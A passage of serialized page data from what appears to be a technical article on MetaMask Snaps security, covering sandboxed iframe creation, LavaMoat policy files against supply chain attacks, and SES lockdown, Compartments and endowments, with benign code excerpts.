'*'",{"type":24,"tag":930,"props":39704,"children":39705},{"style":959},[39706],{"type":30,"value":2832},{"type":24,"tag":930,"props":39708,"children":39709},{"class":932,"line":1223},[39710],{"type":24,"tag":930,"props":39711,"children":39712},{"style":959},[39713],{"type":30,"value":35347},{"type":24,"tag":930,"props":39715,"children":39716},{"class":932,"line":1281},[39717],{"type":24,"tag":930,"props":39718,"children":39719},{"emptyLinePlaceholder":16},[39720],{"type":30,"value":2412},{"type":24,"tag":930,"props":39722,"children":39723},{"class":932,"line":1313},[39724,39729,39733,39737,39741],{"type":24,"tag":930,"props":39725,"children":39726},{"style":959},[39727],{"type":30,"value":39728},"    return { worker: ",{"type":24,"tag":930,"props":39730,"children":39731},{"style":1023},[39732],{"type":30,"value":39552},{"type":24,"tag":930,"props":39734,"children":39735},{"style":959},[39736],{"type":30,"value":962},{"type":24,"tag":930,"props":39738,"children":39739},{"style":1023},[39740],{"type":30,"value":39349},{"type":24,"tag":930,"props":39742,"children":39743},{"style":959},[39744],{"type":30,"value":21401},{"type":24,"tag":930,"props":39746,"children":39747},{"class":932,"line":1335},[39748],{"type":24,"tag":930,"props":39749,"children":39750},{"style":959},[39751],{"type":30,"value":8984},{"type":24,"tag":33,"props":39753,"children":39754},{},[39755,39757,39763,39765,39772],{"type":30,"value":39756},"Here the iframe is created via ",{"type":24,"tag":156,"props":39758,"children":39760},{"className":39759},[],[39761],{"type":30,"value":39762},"createWindow",{"type":30,"value":39764},", which is defined in snaps-utils ",{"type":24,"tag":37,"props":39766,"children":39769},{"href":39767,"rel":39768},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[41],[39770],{"type":30,"value":39771},"package",{"type":30,"value":476},{"type":24,"tag":920,"props":39774,"children":39776},{"className":39018,"code":39775,"language":39020,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[39777],{"type":24,"tag":156,"props":39778,"children":39779},{"__ignoreMap":7},[39780,39823,39861,39898,39905,39925,39963,39970,40007],{"type":24,"tag":930,"props":39781,"children":39782},{"class":932,"line":933},[39783,39787,39792,39796,39801,39805,39810,39814,39819],{"type":24,"tag":930,"props":39784,"children":39785},{"style":937},[39786],{"type":30,"value":12762},{"type":24,"tag":930,"props":39788,"children":39789},{"style":1023},[39790],{"type":30,"value":39791}," iframe",{"type":24,"tag":930,"props":39793,"children":39794},{"style":1158},[39795],{"type":30,"value":6137},{"type":24,"tag":930,"props":39797,"children":39798},{"style":1023},[39799],{"type":30,"value":39800}," document",{"type":24,"tag":930,"props":39802,"children":39803},{"style":959},[39804],{"type":30,"value":436},{"type":24,"tag":930,"props":39806,"children":39807},{"style":1002},[39808],{"type":30,"value":39809},"createElement",{"type":24,"tag":930,"props":39811,"children":39812},{"style":959},[39813],{"type":30,"value":1010},{"type":24,"tag":930,"props":39815,"children":39816},{"style":1270},[39817],{"type":30,"value":39818},"'iframe'",{"type":24,"tag":930,"props":39820,"children":39821},{"style":959},[39822],{"type":30,"value":1278},{"type":24,"tag":930,"props":39824,"children":39825},{"class":932,"line":984},[39826,39831,39835,39840,39844,39849,39853,39857],{"type":24,"tag":930,"props":39827,"children":39828},{"style":1023},[39829],{"type":30,"value":39830},"    iframe",{"type":24,"tag":930,"props":39832,"children":39833},{"style":959},[39834],{"type":30,"value":436},{"type":24,"tag":930,"props":39836,"children":39837},{"style":1002},[39838],{"type":30,"value":39839},"setAttribute",{"type":24,"tag":930,"props":39841,"children":39842},{"style":959},[39843],{"type":30,"value":1010},{"type":24,"tag":930,"props":39845,"children":39846},{"style":1270},[39847],{"type":30,"value":39848},"'id'",{"type":24,"tag":930,"props":39850,"children":39851},{"style":959},[39852],{"type":30,"value":962},{"type":24,"tag":930,"props":39854,"children":39855},{"style":1023},[39856],{"type":30,"value":6602},{"type":24,"tag":930,"props":39858,"children":39859},{"style":959},[39860],{"type":30,"value":1278},{"type":24,"tag":930,"props":39862,"children":39863},{"class":932,"line":993},[39864,39868,39872,39876,39880,39885,39889,39894],{"type":24,"tag":930,"props":39865,"children":39866},{"style":1023},[39867],{"type":30,"value":39830},{"type":24,"tag":930,"props":39869,"children":39870},{"style":959},[39871],{"type":30,"value":436},{"type":24,"tag":930,"props":39873,"children":39874},{"style":1002},[39875],{"type":30,"value":39839},{"type":24,"tag":930,"props":39877,"children":39878},{"style":959},[39879],{"type":30,"value":1010},{"type":24,"tag":930,"props":39881,"children":39882},{"style":1270},[39883],{"type":30,"value":39884},"'data-testid'",{"type":24,"tag":930,"props":39886,"children":39887},{"style":959},[39888],{"type":30,"value":962},{"type":24,"tag":930,"props":39890,"children":39891},{"style":1270},[39892],{"type":30,"value":39893},"'snaps-iframe'",{"type":24,"tag":930,"props":39895,"children":39896},{"style":959},[39897],{"type":30,"value":1278},{"type":24,"tag":930,"props":39899,"children":39900},{"class":932,"line":1057},[39901],{"type":24,"tag":930,"props":39902,"children":39903},{"emptyLinePlaceholder":16},[39904],{"type":30,"value":2412},{"type":24,"tag":930,"props":39906,"children":39907},{"class":932,"line":1066},[39908,39912,39916,39921],{"type":24,"tag":930,"props":39909,"children":39910},{"style":1079},[39911],{"type":30,"value":15386},{"type":24,"tag":930,"props":39913,"children":39914},{"style":959},[39915],{"type":30,"value":1087},{"type":24,"tag":930,"props":39917,"children":39918},{"style":1023},[39919],{"type":30,"value":39920},"sandbox",{"type":24,"tag":930,"props":39922,"children":39923},{"style":959},[39924],{"type":30,"value":1503},{"type":24,"tag":930,"props":39926,"children":39927},{"class":932,"line":1075},[39928,39933,39937,39941,39945,39950,39954,39959],{"type":24,"tag":930,"props":39929,"children":39930},{"style":1023},[39931],{"type":30,"value":39932},"      iframe",{"type":24,"tag":930,"props":39934,"children":39935},{"style":959},[39936],{"type":30,"value":436},{"type":24,"tag":930,"props":39938,"children":39939},{"style":1002},[39940],{"type":30,"value":39839},{"type":24,"tag":930,"props":39942,"children":39943},{"style":959},[39944],{"type":30,"value":1010},{"type":24,"tag":930,"props":39946,"children":39947},{"style":1270},[39948],{"type":30,"value":39949},"'sandbox'",{"type":24,"tag":930,"props":39951,"children":39952},{"style":959},[39953],{"type":30,"value":962},{"type":24,"tag":930,"props":39955,"children":39956},{"style":1270},[39957],{"type":30,"value":39958},"'allow-scripts'",{"type":24,"tag":930,"props":39960,"children":39961},{"style":959},[39962],{"type":30,"value":1278},{"type":24,"tag":930,"props":39964,"children":39965},{"class":932,"line":1122},[39966],{"type":24,"tag":930,"props":39967,"children":39968},{"style":959},[39969],{"type":30,"value":1840},{"type":24,"tag":930,"props":39971,"children":39972},{"class":932,"line":1131},[39973,39977,39981,39985,39989,39994,39998,40003],{"type":24,"tag":930,"props":39974,"children":39975},{"style":1023},[39976],{"type":30,"value":39830},{"type":24,"tag":930,"props":39978,"children":39979},{"style":959},[39980],{"type":30,"value":436},{"type":24,"tag":930,"props":39982,"children":39983},{"style":1002},[39984],{"type":30,"value":39839},{"type":24,"tag":930,"props":39986,"children":39987},{"style":959},[39988],{"type":30,"value":1010},{"type":24,"tag":930,"props":39990,"children":39991},{"style":1270},[39992],{"type":30,"value":39993},"'src'",{"type":24,"tag":930,"props":39995,"children":39996},{"style":959},[39997],{"type":30,"value":962},{"type":24,"tag":930,"props":39999,"children":40000},{"style":1023},[40001],{"type":30,"value":40002},"uri",{"type":24,"tag":930,"props":40004,"children":40005},{"style":959},[40006],{"type":30,"value":1278},{"type":24,"tag":930,"props":40008,"children":40009},{"class":932,"line":1144},[40010,40014,40018,40022,40026,40031,40035,40040],{"type":24,"tag":930,"props":40011,"children":40012},{"style":1023},[40013],{"type":30,"value":37762},{"type":24,"tag":930,"props":40015,"children":40016},{"style":959},[40017],{"type":30,"value":436},{"type":24,"tag":930,"props":40019,"children":40020},{"style":1023},[40021],{"type":30,"value":35488},{"type":24,"tag":930,"props":40023,"children":40024},{"style":959},[40025],{"type":30,"value":436},{"type":24,"tag":930,"props":40027,"children":40028},{"style":1002},[40029],{"type":30,"value":40030},"appendChild",{"type":24,"tag":930,"props":40032,"children":40033},{"style":959},[40034],{"type":30,"value":1010},{"type":24,"tag":930,"props":40036,"children":40037},{"style":1023},[40038],{"type":30,"value":40039},"iframe",{"type":24,"tag":930,"props":40041,"children":40042},{"style":959},[40043],{"type":30,"value":1278},{"type":24,"tag":33,"props":40045,"children":40046},{},[40047],{"type":30,"value":40048},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":24,"tag":151,"props":40050,"children":40052},{"id":40051},"lavamoat-against-supply-chain-attacks-layer-2",[40053],{"type":30,"value":40054},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":24,"tag":33,"props":40056,"children":40057},{},[40058],{"type":30,"value":40059},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":24,"tag":33,"props":40061,"children":40062},{},[40063,40065,40071],{"type":30,"value":40064},"Malicious dependencies might utilize built-in modules like ",{"type":24,"tag":156,"props":40066,"children":40068},{"className":40067},[],[40069],{"type":30,"value":40070},"fs",{"type":30,"value":40072},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":24,"tag":33,"props":40074,"children":40075},{},[40076],{"type":30,"value":40077},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":24,"tag":33,"props":40079,"children":40080},{},[40081,40083,40090],{"type":30,"value":40082},"This is how a Policy file related to the iframes ",{"type":24,"tag":37,"props":40084,"children":40087},{"href":40085,"rel":40086},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[41],[40088],{"type":30,"value":40089},"looks",{"type":30,"value":476},{"type":24,"tag":920,"props":40092,"children":40094},{"className":37084,"code":40093,"language":37086,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[40095],{"type":24,"tag":156,"props":40096,"children":40097},{"__ignoreMap":7},[40098,40111,40123,40143,40163,40183,40203,40223,40243,40263,40280,40288,40300,40320,40336,40343],{"type":24,"tag":930,"props":40099,"children":40100},{"class":932,"line":933},[40101,40106],{"type":24,"tag":930,"props":40102,"children":40103},{"style":1270},[40104],{"type":30,"value":40105},"\"@metamask/post-message-stream\"",{"type":24,"tag":930,"props":40107,"children":40108},{"style":959},[40109],{"type":30,"value":40110},": {\n",{"type":24,"tag":930,"props":40112,"children":40113},{"class":932,"line":984},[40114,40119],{"type":24,"tag":930,"props":40115,"children":40116},{"style":1023},[40117],{"type":30,"value":40118},"      \"globals\"",{"type":24,"tag":930,"props":40120,"children":40121},{"style":959},[40122],{"type":30,"value":40110},{"type":24,"tag":930,"props":40124,"children":40125},{"class":932,"line":993},[40126,40131,40135,40139],{"type":24,"tag":930,"props":40127,"children":40128},{"style":1023},[40129],{"type":30,"value":40130},"        \"MessageEvent.prototype\"",{"type":24,"tag":930,"props":40132,"children":40133},{"style":959},[40134],{"type":30,"value":18434},{"type":24,"tag":930,"props":40136,"children":40137},{"style":937},[40138],{"type":30,"value":7110},{"type":24,"tag":930,"props":40140,"children":40141},{"style":959},[40142],{"type":30,"value":2832},{"type":24,"tag":930,"props":40144,"children":40145},{"class":932,"line":1057},[40146,40151,40155,40159],{"type":24,"tag":930,"props":40147,"children":40148},{"style":1023},[40149],{"type":30,"value":40150},"        \"WorkerGlobalScope\"",{"type":24,"tag":930,"props":40152,"children":40153},{"style":959},[40154],{"type":30,"value":18434},{"type":24,"tag":930,"props":40156,"children":40157},{"style":937},[40158],{"type":30,"value":7110},{"type":24,"tag":930,"props":40160,"children":40161},{"style":959},[40162],{"type":30,"value":2832},{"type":24,"tag":930,"props":40164,"children":40165},{"class":932,"line":1066},[40166,40171,40175,40179],{"type":24,"tag":930,"props":40167,"children":40168},{"style":1023},[40169],{"type":30,"value":40170},"        \"addEventListener\"",{"type":24,"tag":930,"props":40172,"children":40173},{"style":959},[40174],{"type":30,"value":18434},{"type":24,"tag":930,"props":40176,"children":40177},{"style":937},[40178],{"type":30,"value":7110},{"type":24,"tag":930,"props":40180,"children":40181},{"style":959},[40182],{"type":30,"value":2832},{"type":24,"tag":930,"props":40184,"children":40185},{"class":932,"line":1075},[40186,40191,40195,40199],{"type":24,"tag":930,"props":40187,"children":40188},{"style":1023},[40189],{"type":30,"value":40190},"        \"browser\"",{"type":24,"tag":930,"props":40192,"children":40193},{"style":959},[40194],{"type":30,"value":18434},{"type":24,"tag":930,"props":40196,"children":40197},{"style":937},[40198],{"type":30,"value":7110},{"type":24,"tag":930,"props":40200,"children":40201},{"style":959},[40202],{"type":30,"value":2832},{"type":24,"tag":930,"props":40204,"children":40205},{"class":932,"line":1122},[40206,40211,40215,40219],{"type":24,"tag":930,"props":40207,"children":40208},{"style":1023},[40209],{"type":30,"value":40210},"        \"chrome\"",{"type":24,"tag":930,"props":40212,"children":40213},{"style":959},[40214],{"type":30,"value":18434},{"type":24,"tag":930,"props":40216,"children":40217},{"style":937},[40218],{"type":30,"value":7110},{"type":24,"tag":930,"props":40220,"children":40221},{"style":959},[40222],{"type":30,"value":2832},{"type":24,"tag":930,"props":40224,"children":40225},{"class":932,"line":1131},[40226,40231,40235,40239],{"type":24,"tag":930,"props":40227,"children":40228},{"style":1023},[40229],{"type":30,"value":40230},"        \"location.origin\"",{"type":24,"tag":930,"props":40232,"children":40233},{"style":959},[40234],{"type":30,"value":18434},{"type":24,"tag":930,"props":40236,"children":40237},{"style":937},[40238],{"type":30,"value":7110},{"type":24,"tag":930,"props":40240,"children":40241},{"style":959},[40242],{"type":30,"value":2832},{"type":24,"tag":930,"props":40244,"children":40245},{"class":932,"line":1144},[40246,40251,40255,40259],{"type":24,"tag":930,"props":40247,"children":40248},{"style":1023},[40249],{"type":30,"value":40250},"        \"postMessage\"",{"type":24,"tag":930,"props":40252,"children":40253},{"style":959},[40254],{"type":30,"value":18434},{"type":24,"tag":930,"props":40256,"children":40257},{"style":937},[40258],{"type":30,"value":7110},{"type":24,"tag":930,"props":40260,"children":40261},{"style":959},[40262],{"type":30,"value":2832},{"type":24,"tag":930,"props":40264,"children":40265},{"class":932,"line":1169},[40266,40271,40275],{"type":24,"tag":930,"props":40267,"children":40268},{"style":1023},[40269],{"type":30,"value":40270},"        \"removeEventListener\"",{"type":24,"tag":930,"props":40272,"children":40273},{"style":959},[40274],{"type":30,"value":18434},{"type":24,"tag":930,"props":40276,"children":40277},{"style":937},[40278],{"type":30,"value":40279},"true\n",{"type":24,"tag":930,"props":40281,"children":40282},{"class":932,"line":1191},[40283],{"type":24,"tag":930,"props":40284,"children":40285},{"style":959},[40286],{"type":30,"value":40287},"      },\n",{"type":24,"tag":930,"props":40289,"children":40290},{"class":932,"line":1223},[40291,40296],{"type":24,"tag":930,"props":40292,"children":40293},{"style":1023},[40294],{"type":30,"value":40295},"      \"packages\"",{"type":24,"tag":930,"props":40297,"children":40298},{"style":959},[40299],{"type":30,"value":40110},{"type":24,"tag":930,"props":40301,"children":40302},{"class":932,"line":1281},[40303,40308,40312,40316],{"type":24,"tag":930,"props":40304,"children":40305},{"style":1023},[40306],{"type":30,"value":40307},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":24,"tag":930,"props":40309,"children":40310},{"style":959},[40311],{"type":30,"value":18434},{"type":24,"tag":930,"props":40313,"children":40314},{"style":937},[40315],{"type":30,"value":7110},{"type":24,"tag":930,"props":40317,"children":40318},{"style":959},[40319],{"type":30,"value":2832},{"type":24,"tag":930,"props":40321,"children":40322},{"class":932,"line":1313},[40323,40328,40332],{"type":24,"tag":930,"props":40324,"children":40325},{"style":1023},[40326],{"type":30,"value":40327},"        \"@metamask/post-message-stream>readable-stream\"",{"type":24,"tag":930,"props":40329,"children":40330},{"style":959},[40331],{"type":30,"value":18434},{"type":24,"tag":930,"props":40333,"children":40334},{"style":937},[40335],{"type":30,"value":40279},{"type":24,"tag":930,"props":40337,"children":40338},{"class":932,"line":1335},[40339],{"type":24,"tag":930,"props":40340,"children":40341},{"style":959},[40342],{"type":30,"value":15771},{"type":24,"tag":930,"props":40344,"children":40345},{"class":932,"line":1376},[40346],{"type":24,"tag":930,"props":40347,"children":40348},{"style":959},[40349],{"type":30,"value":1840},{"type":24,"tag":33,"props":40351,"children":40352},{},[40353,40355,40361,40363,40369,40371,40377,40379,40385,40386,40392],{"type":30,"value":40354},"One crucial aspect of the policy, apart from the ",{"type":24,"tag":156,"props":40356,"children":40358},{"className":40357},[],[40359],{"type":30,"value":40360},"globals",{"type":30,"value":40362}," section, is the ",{"type":24,"tag":156,"props":40364,"children":40366},{"className":40365},[],[40367],{"type":30,"value":40368},"packages",{"type":30,"value":40370}," segment. This section permits the ",{"type":24,"tag":156,"props":40372,"children":40374},{"className":40373},[],[40375],{"type":30,"value":40376},"@metamask/post-message-stream",{"type":30,"value":40378},"package to exclusively interact with the package ",{"type":24,"tag":156,"props":40380,"children":40382},{"className":40381},[],[40383],{"type":30,"value":40384},"@metamask/utils",{"type":30,"value":211},{"type":24,"tag":156,"props":40387,"children":40389},{"className":40388},[],[40390],{"type":30,"value":40391},"readable-stream",{"type":30,"value":40393},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":24,"tag":33,"props":40395,"children":40396},{},[40397,40399,40405],{"type":30,"value":40398},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":24,"tag":156,"props":40400,"children":40402},{"className":40401},[],[40403],{"type":30,"value":40404},"lockdown",{"type":30,"value":40406}," function to freeze all javascript builtins prototypes.",{"type":24,"tag":151,"props":40408,"children":40410},{"id":40409},"secure-ecmascript-ses-sandbox-layer-3",[40411],{"type":30,"value":40412},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":24,"tag":33,"props":40414,"children":40415},{},[40416,40418,40425],{"type":30,"value":40417},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":24,"tag":37,"props":40419,"children":40422},{"href":40420,"rel":40421},"https://github.com/endojs/endo/tree/master/packages/ses",[41],[40423],{"type":30,"value":40424},"Secure EcmaScript (SES)",{"type":30,"value":40426}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":24,"tag":21995,"props":40428,"children":40430},{"id":40429},"ses-fundamentals",[40431],{"type":30,"value":40432},"SES Fundamentals",{"type":24,"tag":40434,"props":40435,"children":40436},"h5",{"id":40404},[40437],{"type":30,"value":40438},"Lockdown",{"type":24,"tag":33,"props":40440,"children":40441},{},[40442,40444,40450],{"type":30,"value":40443},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":24,"tag":156,"props":40445,"children":40447},{"className":40446},[],[40448],{"type":30,"value":40449},"lockdown()",{"type":30,"value":40451}," function, which protects javascript objects against some attacks, mainly:",{"type":24,"tag":478,"props":40453,"children":40454},{},[40455,40468],{"type":24,"tag":100,"props":40456,"children":40457},{},[40458,40460,40466],{"type":30,"value":40459},"Prototype Pollution\nLockdown executes ",{"type":24,"tag":156,"props":40461,"children":40463},{"className":40462},[],[40464],{"type":30,"value":40465},"Object.freeze",{"type":30,"value":40467}," against all javascript builtins prototypes, preventing these attacks.",{"type":24,"tag":100,"props":40469,"children":40470},{},[40471,40473,40479,40481,40487],{"type":30,"value":40472},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":24,"tag":156,"props":40474,"children":40476},{"className":40475},[],[40477],{"type":30,"value":40478},"trace",{"type":30,"value":40480}," attribute in an ",{"type":24,"tag":156,"props":40482,"children":40484},{"className":40483},[],[40485],{"type":30,"value":40486},"Error",{"type":30,"value":40488}," object, which contains the stack trace of the error.",{"type":24,"tag":40434,"props":40490,"children":40492},{"id":40491},"compartment",[40493],{"type":30,"value":40494},"Compartment",{"type":24,"tag":33,"props":40496,"children":40497},{},[40498,40500,40506,40508,40513],{"type":30,"value":40499},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":24,"tag":156,"props":40501,"children":40503},{"className":40502},[],[40504],{"type":30,"value":40505},"globalThis",{"type":30,"value":40507}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":24,"tag":156,"props":40509,"children":40511},{"className":40510},[],[40512],{"type":30,"value":40505},{"type":30,"value":40514}," context is incapable of tampering with security.",{"type":24,"tag":920,"props":40516,"children":40518},{"className":38701,"code":40517,"language":38703,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[40519],{"type":24,"tag":156,"props":40520,"children":40521},{"__ignoreMap":7},[40522,40551,40584],{"type":24,"tag":930,"props":40523,"children":40524},{"class":932,"line":933},[40525,40529,40534,40538,40542,40547],{"type":24,"tag":930,"props":40526,"children":40527},{"style":937},[40528],{"type":30,"value":12762},{"type":24,"tag":930,"props":40530,"children":40531},{"style":1023},[40532],{"type":30,"value":40533}," c",{"type":24,"tag":930,"props":40535,"children":40536},{"style":1158},[40537],{"type":30,"value":6137},{"type":24,"tag":930,"props":40539,"children":40540},{"style":937},[40541],{"type":30,"value":35023},{"type":24,"tag":930,"props":40543,"children":40544},{"style":1002},[40545],{"type":30,"value":40546}," Compartment",{"type":24,"tag":930,"props":40548,"children":40549},{"style":959},[40550],{"type":30,"value":1310},{"type":24,"tag":930,"props":40552,"children":40553},{"class":932,"line":984},[40554,40558,40562,40566,40570,40575,40579],{"type":24,"tag":930,"props":40555,"children":40556},{"style":1023},[40557],{"type":30,"value":6268},{"type":24,"tag":930,"props":40559,"children":40560},{"style":959},[40561],{"type":30,"value":436},{"type":24,"tag":930,"props":40563,"children":40564},{"style":1023},[40565],{"type":30,"value":40505},{"type":24,"tag":930,"props":40567,"children":40568},{"style":1158},[40569],{"type":30,"value":34514},{"type":24,"tag":930,"props":40571,"children":40572},{"style":1023},[40573],{"type":30,"value":40574}," globalThis",{"type":24,"tag":930,"props":40576,"children":40577},{"style":959},[40578],{"type":30,"value":20328},{"type":24,"tag":930,"props":40580,"children":40581},{"style":1422},[40582],{"type":30,"value":40583},"// false\n",{"type":24,"tag":930,"props":40585,"children":40586},{"class":932,"line":993},[40587,40591,40595,40599,40603,40608,40612,40617,40621],{"type":24,"tag":930,"props":40588,"children":40589},{"style":1023},[40590],{"type":30,"value":6268},{"type":24,"tag":930,"props":40592,"children":40593},{"style":959},[40594],{"type":30,"value":436},{"type":24,"tag":930,"props":40596,"children":40597},{"style":1023},[40598],{"type":30,"value":40505},{"type":24,"tag":930,"props":40600,"children":40601},{"style":959},[40602],{"type":30,"value":436},{"type":24,"tag":930,"props":40604,"children":40605},{"style":1023},[40606],{"type":30,"value":40607},"JSON",{"type":24,"tag":930,"props":40609,"children":40610},{"style":1158},[40611],{"type":30,"value":34514},{"type":24,"tag":930,"props":40613,"children":40614},{"style":1023},[40615],{"type":30,"value":40616}," JSON",{"type":24,"tag":930,"props":40618,"children":40619},{"style":959},[40620],{"type":30,"value":20328},{"type":24,"tag":930,"props":40622,"children":40623},{"style":1422},[40624],{"type":30,"value":40625},"// true\n",{"type":24,"tag":33,"props":40627,"children":40628},{},[40629,40631,40637,40639,40645,40647,40652],{"type":30,"value":40630},"Compartment also changes the behaviour of evaluators functions such as ",{"type":24,"tag":156,"props":40632,"children":40634},{"className":40633},[],[40635],{"type":30,"value":40636},"eval",{"type":30,"value":40638}," and the ",{"type":24,"tag":156,"props":40640,"children":40642},{"className":40641},[],[40643],{"type":30,"value":40644},"Function",{"type":30,"value":40646}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":24,"tag":156,"props":40648,"children":40650},{"className":40649},[],[40651],{"type":30,"value":40505},{"type":30,"value":436},{"type":24,"tag":40434,"props":40654,"children":40656},{"id":40655},"endowments",[40657],{"type":30,"value":40658},"Endowments",{"type":24,"tag":33,"props":40660,"children":40661},{},[40662,40664,40668,40670,40675],{"type":30,"value":40663},"While creating a Compartment, it is possible to specify ",{"type":24,"tag":6032,"props":40665,"children":40666},{},[40667],{"type":30,"value":40655},{"type":30,"value":40669},". These endowments constitute objects that become accessible within the Compartment's ",{"type":24,"tag":156,"props":40671,"children":40673},{"className":40672},[],[40674],{"type":30,"value":40505},{"type":30,"value":40676},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":24,"tag":33,"props":40678,"children":40679},{},[40680,40682,40688],{"type":30,"value":40681},"In addition, SES provides the ",{"type":24,"tag":156,"props":40683,"children":40685},{"className":40684},[],[40686],{"type":30,"value":40687},"harden()",{"type":30,"value":40689}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":24,"tag":21995,"props":40691,"children":40693},{"id":40692},"setting-up-snaps-execution-env",[40694],{"type":30,"value":40695},"Setting up Snaps Execution Env",{"type":24,"tag":33,"props":40697,"children":40698},{},[40699],{"type":30,"value":40700},"When starting a snap, the setup follows these steps:",{"type":24,"tag":478,"props":40702,"children":40703},{},[40704],{"type":24,"tag":100,"props":40705,"children":40706},{},[40707],{"type":24,"tag":275,"props":40708,"children":40709},{},[40710,40712],{"type":30,"value":40711},"Create endowments based on snap ",{"type":24,"tag":37,"props":40713,"children":40716},{"href":40714,"rel":40715},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[41],[40717],{"type":30,"value":40718},"permissions",{"type":24,"tag":920,"props":40720,"children":40722},{"className":38701,"code":40721,"language":38703,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[40723],{"type":24,"tag":156,"props":40724,"children":40725},{"__ignoreMap":7},[40726,40776,40788,40799,40811,40823],{"type":24,"tag":930,"props":40727,"children":40728},{"class":932,"line":933},[40729,40733,40737,40741,40745,40750,40754,40759,40763,40767,40772],{"type":24,"tag":930,"props":40730,"children":40731},{"style":937},[40732],{"type":30,"value":12762},{"type":24,"tag":930,"props":40734,"children":40735},{"style":959},[40736],{"type":30,"value":12694},{"type":24,"tag":930,"props":40738,"children":40739},{"style":1023},[40740],{"type":30,"value":40655},{"type":24,"tag":930,"props":40742,"children":40743},{"style":959},[40744],{"type":30,"value":962},{"type":24,"tag":930,"props":40746,"children":40747},{"style":1023},[40748],{"type":30,"value":40749},"teardown",{"type":24,"tag":930,"props":40751,"children":40752},{"style":959},[40753],{"type":30,"value":18434},{"type":24,"tag":930,"props":40755,"children":40756},{"style":1023},[40757],{"type":30,"value":40758},"endowmentTeardown",{"type":24,"tag":930,"props":40760,"children":40761},{"style":959},[40762],{"type":30,"value":39290},{"type":24,"tag":930,"props":40764,"children":40765},{"style":1158},[40766],{"type":30,"value":1161},{"type":24,"tag":930,"props":40768,"children":40769},{"style":1002},[40770],{"type":30,"value":40771}," createEndowments",{"type":24,"tag":930,"props":40773,"children":40774},{"style":959},[40775],{"type":30,"value":2814},{"type":24,"tag":930,"props":40777,"children":40778},{"class":932,"line":984},[40779,40784],{"type":24,"tag":930,"props":40780,"children":40781},{"style":1023},[40782],{"type":30,"value":40783},"    snap",{"type":24,"tag":930,"props":40785,"children":40786},{"style":959},[40787],{"type":30,"value":2832},{"type":24,"tag":930,"props":40789,"children":40790},{"class":932,"line":993},[40791,40795],{"type":24,"tag":930,"props":40792,"children":40793},{"style":1023},[40794],{"type":30,"value":34576},{"type":24,"tag":930,"props":40796,"children":40797},{"style":959},[40798],{"type":30,"value":2832},{"type":24,"tag":930,"props":40800,"children":40801},{"class":932,"line":1057},[40802,40807],{"type":24,"tag":930,"props":40803,"children":40804},{"style":1023},[40805],{"type":30,"value":40806},"    snapId",{"type":24,"tag":930,"props":40808,"children":40809},{"style":959},[40810],{"type":30,"value":2832},{"type":24,"tag":930,"props":40812,"children":40813},{"class":932,"line":1066},[40814,40819],{"type":24,"tag":930,"props":40815,"children":40816},{"style":1023},[40817],{"type":30,"value":40818},"    _endowments",{"type":24,"tag":930,"props":40820,"children":40821},{"style":959},[40822],{"type":30,"value":2832},{"type":24,"tag":930,"props":40824,"children":40825},{"class":932,"line":1075},[40826],{"type":24,"tag":930,"props":40827,"children":40828},{"style":959},[40829],{"type":30,"value":1278},{"type":24,"tag":33,"props":40831,"children":40832},{},[40833],{"type":30,"value":40834},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":24,"tag":33,"props":40836,"children":40837},{},[40838,40840,40846,40848,40854],{"type":30,"value":40839},"One clear example is the ",{"type":24,"tag":156,"props":40841,"children":40843},{"className":40842},[],[40844],{"type":30,"value":40845},"endowment:network-access",{"type":30,"value":40847}," permission, that adds the 